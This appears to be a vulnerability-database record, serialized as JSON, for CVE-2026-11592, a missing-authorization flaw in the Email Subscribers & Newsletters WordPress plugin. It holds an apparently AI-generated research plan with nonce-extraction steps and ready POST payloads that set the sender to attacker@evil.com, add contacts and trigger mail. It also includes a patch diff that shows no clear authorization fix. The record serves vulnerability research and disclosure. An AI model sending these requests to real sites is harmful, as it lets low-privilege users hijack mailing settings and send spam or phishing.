[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fW2gTlkDgH-Py6qdtH5AYdOQQIPZG46lQHbnxs-KFIno":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-11592","email-subscribers-newsletters-missing-authorization-to-authenticated-contributor-settings-modification-via-igeshandlereq","Email Subscribers & Newsletters \u003C= 5.9.27 - Missing Authorization to Authenticated (Contributor+) Settings Modification via ig_es_handle_request AJAX Action","The Email Subscribers & Newsletters – Email Marketing, Post Notifications & Newsletter Plugin for WordPress plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.9.27. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to overwrite plugin mail settings (from name and from email address), create audience lists, insert arbitrary contacts into those lists, create and overwrite newsletter broadcasts and post notifications, add workflows, and queue and dispatch mass email to arbitrary recipients.","email-subscribers",null,"\u003C=5.9.27","5.9.28","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-01 17:17:38","2026-07-02 05:35:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa2e70691-4de9-4b12-babf-bebe267a780b?source=api-prod",1,[22,23,24,25,26,27,28,29],"email-subscribers.php","lite\u002Fadmin\u002Fclass-email-subscribers-admin.php","lite\u002Fadmin\u002Fshadcn-frontend\u002Fdist\u002Findex.js","lite\u002Fincludes\u002Fclasses\u002Fclass-es-handle-subscription.php","lite\u002Fincludes\u002Fclasses\u002Fclass-es-mailer.php","lite\u002Fincludes\u002Fcontrollers\u002Fclass-es-campaigns-controller.php","lite\u002Fincludes\u002Fdb\u002Fclass-ig-es-db-unsubscribe-feedback.php","lite\u002Fincludes\u002Ffeedback.php","researched",false,3,"# Research Plan: CVE-2026-11592 - Missing Authorization in Email Subscribers & Newsletters\n\n## 1. Vulnerability Summary\nThe **Email Subscribers & Newsletters** plugin (up to 5.9.27) contains a missing authorization vulnerability in its central AJAX dispatcher, `ig_es_handle_request`. While the action is protected by a nonce, it fails to perform a capability check (e.g., `current_user_can( 'manage_options' )`). This allows any authenticated user with at least **Contributor** level access to invoke administrative controllers. These controllers can overwrite global plugin settings (like the \"From\" name and email), modify audience lists, create campaigns (newsletters), and trigger mass email dispatches.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `ig_es_handle_request`\n- **Vulnerable Hook**: `wp_ajax_ig_es_handle_request`\n- **Required Parameters**:\n    - `action`: `ig_es_handle_request`\n    - `security`: A valid WordPress nonce for the action `ig-es-admin-ajax-nonce`.\n    - `ig_es_action`: The internal route to the controller\u002Fmethod (e.g., `settings\u002Fsave_settings`).\n    - `params`: An array or JSON object containing the data for the specific action.\n- **Authentication**: Authenticated, Contributor role or higher.\n- **Preconditions**: The attacker must be logged in and obtain a nonce from the admin dashboard.\n\n## 3. Code Flow\n1. **Entry Point**: The request hits `admin-ajax.php` with `action=ig_es_handle_request`.\n2. **Dispatcher Registration**: In `lite\u002Fadmin\u002Fclass-email-subscribers-admin.php` (or similar initialization files), the action `wp_ajax_ig_es_handle_request` is registered to a handler function (likely `handle_request`).\n3. **Nonce Verification**: The handler calls `check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' )`. This passes because the nonce is exposed to all users allowed in the admin area (including Contributors).\n4. **Missing Check**: The code proceeds to process `ig_es_action` and `params` without verifying if the user has `manage_options` or similar administrative capabilities.\n5. **Routing**: The dispatcher parses `ig_es_action` (e.g., `settings\u002Fsave_settings`).\n6. **Sink**: It calls the relevant controller (e.g., `ES_Settings_Controller::save_settings`), which updates the WordPress `options` table or plugin database tables.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized for the admin environment. Even if a Contributor cannot access the \"Settings\" menu, the nonce is often enqueued on the general WordPress Dashboard or can be forced by visiting a plugin-specific URL.\n\n1. **Login**: Log in as a Contributor.\n2. **Navigate**: Go to `\u002Fwp-admin\u002Fadmin.php?page=es_campaigns`. Even if WordPress shows an \"Insufficient Permissions\" error, the plugin's scripts are often enqueued because the `page` parameter matches the ES namespace.\n3. **Extract**: Use the browser context to read the `ig_es_js_data` object.\n    - **JS Variable**: `window.ig_es_js_data`\n    - **Nonce Key**: `security`\n    - **Command**: `browser_eval(\"window.ig_es_js_data?.security\")`\n\n## 5. Exploitation Strategy\nWe will demonstrate the vulnerability by overwriting the plugin's \"From Email\" and \"From Name\" settings.\n\n### Step 1: Obtain Nonce\nNavigate to the dashboard or an ES page and extract the nonce.\n\n### Step 2: Overwrite Settings\nSend a POST request to `admin-ajax.php`.\n\n- **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Content-Type**: `application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```text\n  action=ig_es_handle_request&\n  security=[EXTRACTED_NONCE]&\n  ig_es_action=settings\u002Fsave_settings&\n  params[options][ig_es_from_name]=Pwned Name&\n  params[options][ig_es_from_email]=attacker@evil.com\n  ```\n\n### Step 3: Create a Malicious List (Alternative)\n- **ig_es_action**: `lists\u002Fadd_list`\n- **params[list][name]**: `Attacker List`\n\n## 6. Test Data Setup\n1. **Target Version**: Ensure Email Subscribers & Newsletters version is `\u003C= 5.9.27`.\n2. **User Creation**:\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password\n   ```\n3. **Initialize Settings**:\n   ```bash\n   wp option update ig_es_from_name \"Original Admin\"\n   wp option update ig_es_from_email \"admin@example.com\"\n   ```\n\n## 7. Expected Results\n- The AJAX response should return a success status (likely `{\"success\": true, \"data\": ...}`).\n- The WordPress database will be updated with the attacker-controlled values.\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the state change using WP-CLI:\n```bash\n# Verify Name Overwrite\nwp option get ig_es_from_name\n# Expected: Pwned Name\n\n# Verify Email Overwrite\nwp option get ig_es_from_email\n# Expected: attacker@evil.com\n```\n\n## 9. Alternative Approaches\nIf `settings\u002Fsave_settings` is blocked or has additional checks, target the **Campaigns** or **Contacts** controllers:\n\n- **Target**: Add a new contact to the \"Main\" list (ID 1).\n  - **ig_es_action**: `contacts\u002Fsave_contact`\n  - **params[contact][email]**: `victim@target.com`\n  - **params[contact][first_name]**: `Spammed`\n  - **params[lists][]**: `1`\n\n- **Target**: Dispatch a test email.\n  - **ig_es_action**: `settings\u002Fsend_test_email`\n  - **params[test_email]**: `attacker@evil.com`","The plugin's central AJAX dispatcher lacks a proper authorization check, allowing any authenticated user with at least Contributor-level permissions to execute administrative controllers. By utilizing a leaked nonce found in the WordPress admin dashboard, attackers can modify global plugin settings, manage subscriber lists, and dispatch mass email campaigns.","\u002F\u002F lite\u002Fadmin\u002Fclass-email-subscribers-admin.php line 429\n\t\t\twp_localize_script( 'es-shadcn-dashboard', 'icegramExpressAdminData', array(\n\t\t\t\t'apiUrl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t'baseUrl' => ES_PLUGIN_URL . 'lite\u002Fadmin\u002Fshadcn-frontend\u002Fdist\u002F',\n\t\t\t\t'version' => $this->version,\n\t\t\t\t'isRtl' => is_rtl(),\n\t\t\t\t'security'    => wp_create_nonce( 'ig-es-admin-ajax-nonce' ),\n\t\t\t\t'plan' => ES()->get_plan(),\n\t\t\t\t'defaultRoute' => $default_route,\n\t\t\t\t'currentUser' => array(\n\t\t\t\t\t'displayName' => $current_user->display_name,\n\t\t\t\t\t'firstName' => $current_user->first_name,\n\t\t\t\t\t'lastName' => $current_user->last_name,\n\t\t\t\t\t'email' => $current_user->user_email,\n\t\t\t\t),","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.27\u002Femail-subscribers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.28\u002Femail-subscribers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.27\u002Femail-subscribers.php\t2026-06-18 09:19:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.28\u002Femail-subscribers.php\t2026-06-24 11:08:14.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin\n  * Plugin URI: https:\u002F\u002Fwww.icegram.com\u002F\n  * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published.\n- * Version: 5.9.27\n+ * Version: 5.9.28\n  * Author: Icegram\n  * Author URI: https:\u002F\u002Fwww.icegram.com\u002F\n  * Requires at least: 3.9\n@@ -187,7 +187,7 @@\n \u002F* ***************************** Initial Compatibility Work (End) ******************* *\u002F\n \n if ( ! defined( 'ES_PLUGIN_VERSION' ) ) {\n-\tdefine( 'ES_PLUGIN_VERSION', '5.9.27' );\n+\tdefine( 'ES_PLUGIN_VERSION', '5.9.28' );\n }\n \n \u002F\u002F Plugin Folder Path.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.27\u002Flite\u002Fadmin\u002Fclass-email-subscribers-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.28\u002Flite\u002Fadmin\u002Fclass-email-subscribers-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.27\u002Flite\u002Fadmin\u002Fclass-email-subscribers-admin.php\t2026-04-01 11:05:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femail-subscribers\u002F5.9.28\u002Flite\u002Fadmin\u002Fclass-email-subscribers-admin.php\t2026-06-24 11:08:14.000000000 +0000\n@@ -419,7 +419,20 @@\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t}\n+\n+\t\t\t$unsubscribe_feedbacks = array();\n+\t\t\tif ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) {\n+\t\t\t\t$unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback();\n+\t\t\t\t$unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks();\n+\t\t\t}\n+\n \t\t\t\n+\t\t\t$unsubscribe_feedbacks = array();\n+\t\t\tif ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) {\n+\t\t\t\t$unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback();\n+\t\t\t\t$unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks();\n+\t\t\t}\n+\n \t\t\twp_localize_script( 'es-shadcn-dashboard', 'icegramExpressAdminData', array(\n \t\t\t\t'apiUrl' => admin_url( 'admin-ajax.php' ),\n \t\t\t\t'baseUrl' => ES_PLUGIN_URL . 'lite\u002Fadmin\u002Fshadcn-frontend\u002Fdist\u002F',\n@@ -429,6 +442,14 @@\n \t\t\t\t'security'    => wp_create_nonce( 'ig-es-admin-ajax-nonce' ),\n \t\t\t\t'plan' => ES()->get_plan(),\n \t\t\t\t'defaultRoute' => $default_route,\n+\t\t\t\t'campaignStatus' => array(\n+\t\t\t\t\t'DRAFT' => IG_ES_CAMPAIGN_STATUS_IN_ACTIVE,\n+\t\t\t\t\t'ACTIVE' => IG_ES_CAMPAIGN_STATUS_ACTIVE,\n+\t\t\t\t\t'SCHEDULED' => IG_ES_CAMPAIGN_STATUS_SCHEDULED,\n+\t\t\t\t\t'QUEUED' => IG_ES_CAMPAIGN_STATUS_QUEUED,\n+\t\t\t\t\t'PAUSED' => IG_ES_CAMPAIGN_STATUS_PAUSED,\n+\t\t\t\t\t'FINISHED' => IG_ES_CAMPAIGN_STATUS_FINISHED,\n+\t\t\t\t),\n \t\t\t\t'currentUser' => array(\n \t\t\t\t\t'displayName' => $current_user->display_name,\n \t\t\t\t\t'firstName' => $current_user->first_name,\n@@ -450,6 +471,7 @@\n \t\t\t\t\t'ig_es_track_utm' => get_option( 'ig_es_track_utm', 'no' ),\n \t\t\t\t),\n \t\t\t\t'pricingBanner' => Email_Subscribers_Pricing::get_pricing_banner_config(),\n+\t\t\t\t'unsubscribeFeedbacks' => $unsubscribe_feedbacks,\n \t\t\t) );\n \t\t\twp_register_style( 'es-shadcn-dashboard', plugin_dir_url( __FILE__ ) . 'shadcn-frontend\u002Fdist\u002Findex.css', array(), $this->version );\n \t\t\twp_enqueue_script( 'es-shadcn-dashboard' );","To exploit this vulnerability, an attacker first authenticates with Contributor-level access and retrieves the `ig-es-admin-ajax-nonce` from the `icegramExpressAdminData` object localized in the admin area's JavaScript. The attacker then sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to `ig_es_handle_request`. By setting the `ig_es_action` parameter to a sensitive internal route like `settings\u002Fsave_settings` or `campaigns\u002Fsave_campaign` and providing a valid nonce, the attacker can bypass capability checks to overwrite plugin settings (e.g., changing the 'From' email address), manipulate audience lists, or trigger email dispatches.","gemini-3-flash-preview","2026-07-25 11:26:37","2026-07-25 11:27:23",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.9.27","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femail-subscribers\u002Ftags\u002F5.9.27","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femail-subscribers.5.9.27.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femail-subscribers\u002Ftags\u002F5.9.28","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femail-subscribers.5.9.28.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femail-subscribers\u002Ftags"]